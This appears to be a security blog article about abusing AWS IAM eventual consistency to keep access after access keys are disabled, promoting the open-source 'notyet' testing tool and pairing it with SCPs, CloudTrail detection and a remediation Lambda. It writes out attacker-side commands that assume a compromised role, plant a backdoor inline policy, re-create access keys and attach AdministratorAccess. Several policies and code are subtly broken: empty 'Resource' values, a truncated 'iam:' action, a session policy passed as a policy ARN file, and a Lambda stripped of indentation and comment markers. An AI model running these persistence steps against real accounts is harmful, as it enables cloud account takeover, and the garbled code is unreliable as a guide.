AWS IAM Eventual Consistency: Why Disabling Access Keys Won't Stop A Persistent Attacker – And How ‘notyet’ Proves It + Video

Introduction:

Amazon Web Services (AWS) IAM operates with an eventual consistency model, meaning changes like disabling access keys or deleting inline policies can take seconds to minutes to fully propagate across all regions and services. Attackers exploit this window by creating persistent backdoors that survive standard incident response (IR) actions – as demonstrated by the newly released open-source tool `notyet` from OFFENSAI. This article analyzes how eventual consistency breaks traditional containment and provides a step‑by‑step guide to testing and mitigating these advanced persistence techniques using real AWS CLI commands, IAM hardening, and proactive IR playbooks.

Learning Objectives:

Understand how AWS IAM’s eventual consistency model enables attacker persistence beyond key revocation.
Learn to deploy and use the `notyet` tool to simulate and test IR playbooks against consistency‑based backdoors.
Implement advanced detection and mitigation strategies including SCPs, CloudTrail monitoring, and automated Lambda remediation.

You Should Know:

Exploiting Eventual Consistency: How Attackers Outsmart Standard IR
When you disable an IAM access key or remove an inline policy, AWS does not instantly revoke all active sessions. Due to eventual consistency, an attacker who has already established a session using a temporary credential or a pre‑existing token can continue to make API calls for up to several minutes – sometimes longer – after the “fix” is applied. Worse, attackers can create resources (e.g., new keys, roles, or policies) during this window that themselves become subject to the same consistency lag, effectively creating a self‑replicating backdoor.

Step‑by‑step guide to simulating a persistence scenario using AWS CLI and Linux:

1. Assume a compromised IAM role (attacker perspective):

aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/CompromisedRole" --role-session-name "PersistenceTest"
export AWS_ACCESS_KEY_ID=<returned-key>
export AWS_SECRET_ACCESS_KEY=<returned-secret>
export AWS_SESSION_TOKEN=<returned-token>

Create a new inline policy on a user (malicious action):

aws iam put-user-policy --user-name victim-user --policy-name BackdoorPolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"iam:CreateAccessKey","Resource":""}]}'

Now simulate IR: disable the original access key (defender action):

aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name victim-user

Immediately try to create another access key using the still‑active session (within the consistency window):
```
aws iam create-access-key --user-name victim-user
```
If the command succeeds, the attacker has bypassed the revocation.

Install and run `notyet` to automate this test:

git clone https://github.com/offensai/notyet.git
cd notyet
pip install -r requirements.txt
python notyet.py --profile compromised-profile --action create-key --delay 30

The tool will attempt to execute actions after each IR step and report which ones succeeded due to eventual consistency.

Setting Up ‘notyet’ for Incident Response Playbook Testing
`notyet` is an open‑source Python tool that systematically tests which IR actions actually stop a malicious identity leveraging eventual consistency. It simulates an attacker that continuously tries to re‑establish persistence while you apply standard containment.

Step‑by‑step installation and usage:

Prerequisites: AWS CLI configured with two profiles – one for the “attacker” (compromised identity) and one for the “defender” (admin).
```
aws configure --profile attacker
aws configure --profile defender
```

2. Clone and install dependencies (Linux/macOS):

git clone https://github.com/offensai/notyet
cd notyet
python3 -m venv venv
source venv/bin/activate
pip install boto3 click

3. Run a basic persistence test:

python notyet.py --profile attacker --action attach-role-policy --target-role CompromisedRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --delay 10

This attempts to attach an admin policy to a role, waits 10 seconds, then checks if the operation succeeded despite IR.

Integrate with your IR playbook by creating a test script:

Windows PowerShell example
$env:AWS_PROFILE="attacker"
aws iam create-access-key --user-name victim
Start-Sleep -Seconds 5
Defender disables keys
aws iam update-access-key --access-key-id (Get-Content key.txt) --status Inactive --user-name victim --profile defender
Start-Sleep -Seconds 2
Attacker tries again
aws iam create-access-key --user-name victim --profile attacker

Analyze the output – `notyet` will flag any successful action after the IR step as a persistence vulnerability.
Advanced Mitigation: Service Control Policies (SCPs) and Condition Keys
Because eventual consistency cannot be eliminated, you must enforce preventive controls that do not rely on timely revocation. SCPs applied at the organization root or OU level can block persistence actions regardless of credential state.

Step‑by‑step SCP to block IAM key creation and policy attachment:

1. Create a JSON policy file `deny-iam-persistence.json`:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIAMKeyCreation",
"Effect": "Deny",
"Action": [
"iam:CreateAccessKey",
"iam:CreateLoginProfile",
"iam:AttachUserPolicy",
"iam:PutUserPolicy"
],
"Resource": "",
"Condition": {
"BoolIfExists": {
"aws:ViaAWSService": "false"
}
}
}
]
}

2. Apply the SCP using AWS CLI:

aws organizations create-policy --name DenyIAMPersistence --type SERVICE_CONTROL_POLICY --content file://deny-iam-persistence.json
aws organizations attach-policy --policy-id p-xxxxx --target-id ou-xxxxx

Test the SCP by attempting the same persistence actions from any account under the OU – they will be denied immediately, even with valid credentials.

For Windows environments, use AWS Tools for PowerShell:

New-ORGPolicy -Name "DenyIAMPersistence" -Type SERVICE_CONTROL_POLICY -Content (Get-Content -Raw deny-iam-persistence.json)

Detection via CloudTrail and EventBridge – Catching the Consistency Window
To detect exploitation of eventual consistency, monitor for high‑frequency IAM changes followed immediately by the same action from a different principal. Use CloudTrail logs with Athena or CloudWatch Logs Insights.

Step‑by‑step query to find “revocation bypass” attempts:

Enable CloudTrail for all regions and log to S3.

Use Athena to query the logs (example SQL):

SELECT useridentity.arn, eventname, eventtime, requestparameters
FROM cloudtrail_logs
WHERE eventname IN ('CreateAccessKey', 'PutUserPolicy', 'AttachRolePolicy')
AND eventtime > from_iso8601_timestamp('2025-01-01T00:00:00Z')
ORDER BY eventtime DESC;

Look for patterns where a `CreateAccessKey` occurs less than 30 seconds after an `UpdateAccessKey` (disable) on the same user.

4. Automate detection with EventBridge rule (JSON pattern):

{
"source": ["aws.iam"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["CreateAccessKey", "PutUserPolicy"],
"responseElements": {
"accessKey": { "status": "Active" }
}
}
}

Target a Lambda function that immediately sends an alert and optionally invokes a remediation.

Linux‑based monitoring script using AWS CLI and jq:

aws logs start-query --log-group-name /aws/cloudtrail/Default --start-time $(date -d '5 minutes ago' +%s) --end-time $(date +%s) --query-string 'fields @timestamp, eventName, userIdentity.arn | filter eventName in ["CreateAccessKey","PutUserPolicy"] | sort @timestamp desc'

5. Remediation Lambda: Breaking the Chain Automatically

Since disabling keys is insufficient, the only reliable containment is to delete the compromised identity entirely or apply an SCP that blocks all actions. However, deletion also suffers from eventual consistency. A better approach is a Lambda that continuously monitors for the attacker’s behavior and repeatedly applies deletions or attaches a “deny all” policy.

Step‑by‑step Lambda function (Python) for aggressive remediation:

import boto3, time, os

def lambda_handler(event, context):
iam = boto3.client('iam')
user_name = os.environ['COMPROMISED_USER']

Step 1: Delete all access keys
keys = iam.list_access_keys(UserName=user_name)['AccessKeyMetadata']
for key in keys:
iam.delete_access_key(UserName=user_name, AccessKeyId=key['AccessKeyId'])

Step 2: Detach all managed policies
policies = iam.list_attached_user_policies(UserName=user_name)['AttachedPolicies']
for policy in policies:
iam.detach_user_policy(UserName=user_name, PolicyArn=policy['PolicyArn'])

Step 3: Delete inline policies
inline_policies = iam.list_user_policies(UserName=user_name)['PolicyNames']
for pol in inline_policies:
iam.delete_user_policy(UserName=user_name, PolicyName=pol)

Step 4: Force password reset and disable console access
iam.delete_login_profile(UserName=user_name)  removes console access

Step 5: Loop every 10 seconds for 2 minutes to catch eventual consistency re-creations
for _ in range(12):
time.sleep(10)
new_keys = iam.list_access_keys(UserName=user_name)['AccessKeyMetadata']
if new_keys:
for k in new_keys:
iam.delete_access_key(UserName=user_name, AccessKeyId=k['AccessKeyId'])

return {"status": "Containment loop executed"}

Deploy this Lambda with a CloudWatch Events rule triggered by any `CreateAccessKey` event on the monitored user.

Hardening Against Future Exploits: Principle of Least Privilege and Session Policies
Attackers leverage eventual consistency because identities have excessive privileges. Use session policies and permission boundaries to limit what a compromised role can do, regardless of its attached policies.

Step‑by‑step apply a restrictive session policy during role assumption:

1. Create a session policy JSON `restrictive-session.json`:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "iam:",
"Resource": ""
}
]
}

Modify your application or assume‑role calls to include the session policy:

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/MyRole --role-session-name MySession --policy-arns arn:aws:iam::aws:policy/ReadOnlyAccess --policy-arns file://restrictive-session.json

3. For Windows PowerShell:

Use-STSRole -RoleArn "arn:aws:iam::123456789012:role/MyRole" -RoleSessionName "MySession" -PolicyArns @(@{arn="arn:aws:iam::aws:policy/ReadOnlyAccess"})

Apply permission boundaries to users and roles that limit maximum allowed actions, making eventual consistency persistence useless because the boundary always caps privileges.
Building a Resilient Incident Response Playbook with ‘notyet’ Results
Based on the analysis from Sonrai Security and OFFENSAI, your IR playbook must include a “consistency purge” phase.

Step‑by‑step updated IR workflow:

Detection – CloudTrail alerts on IAM creation events.
Initial response – Do NOT simply disable keys. Instead, detach all policies AND delete the identity if possible.
Consistency purge – Run a script that every 15 seconds for 2 minutes checks for new keys/policies and deletes them.
Forensic capture – Before deletion, snapshot the IAM user/role configuration and CloudTrail logs.
Long‑term containment – Apply an SCP at the OU level that denies all IAM write actions from the compromised account until investigation completes.

6. Test your playbook with `notyet` weekly:

python notyet.py --full-suite --profile attacker --output report.html

What Undercode Say:

Eventual consistency is not a bug – it’s an attacker’s feature. Standard IR fails because it assumes immediate revocation. You must design for asynchronous propagation.
Tooling like `notyet` transforms abstract risk into measurable evidence. Every AWS security team should run this tool against their own IR playbooks before an actual breach.

The findings from Sonrai Security and OFFENSAI demonstrate that cloud persistence is far more robust than most defenders realize. Relying on disabling access keys or removing inline policies gives a false sense of security. Instead, adopt preventive SCPs, aggressive remediation loops, and session‑level restrictions. The consistency window is small – but for a determined attacker, it’s all they need to survive.

Prediction:

As multi‑cloud adoption grows, AWS’s eventual consistency model will be exploited in high‑profile breaches within the next 12 months, leading to a new class of “consistency‑aware” attack tools. We predict that cloud providers will respond by introducing “immediate revocation” guarantees for IAM critical actions, but legacy APIs will remain vulnerable. Organizations that fail to implement SCPs and automated consistency purging will face extended dwell times and failed containment. The future of cloud IR will include mandatory “eventual consistency drills” – just as we test backups, we must test revocation windows.

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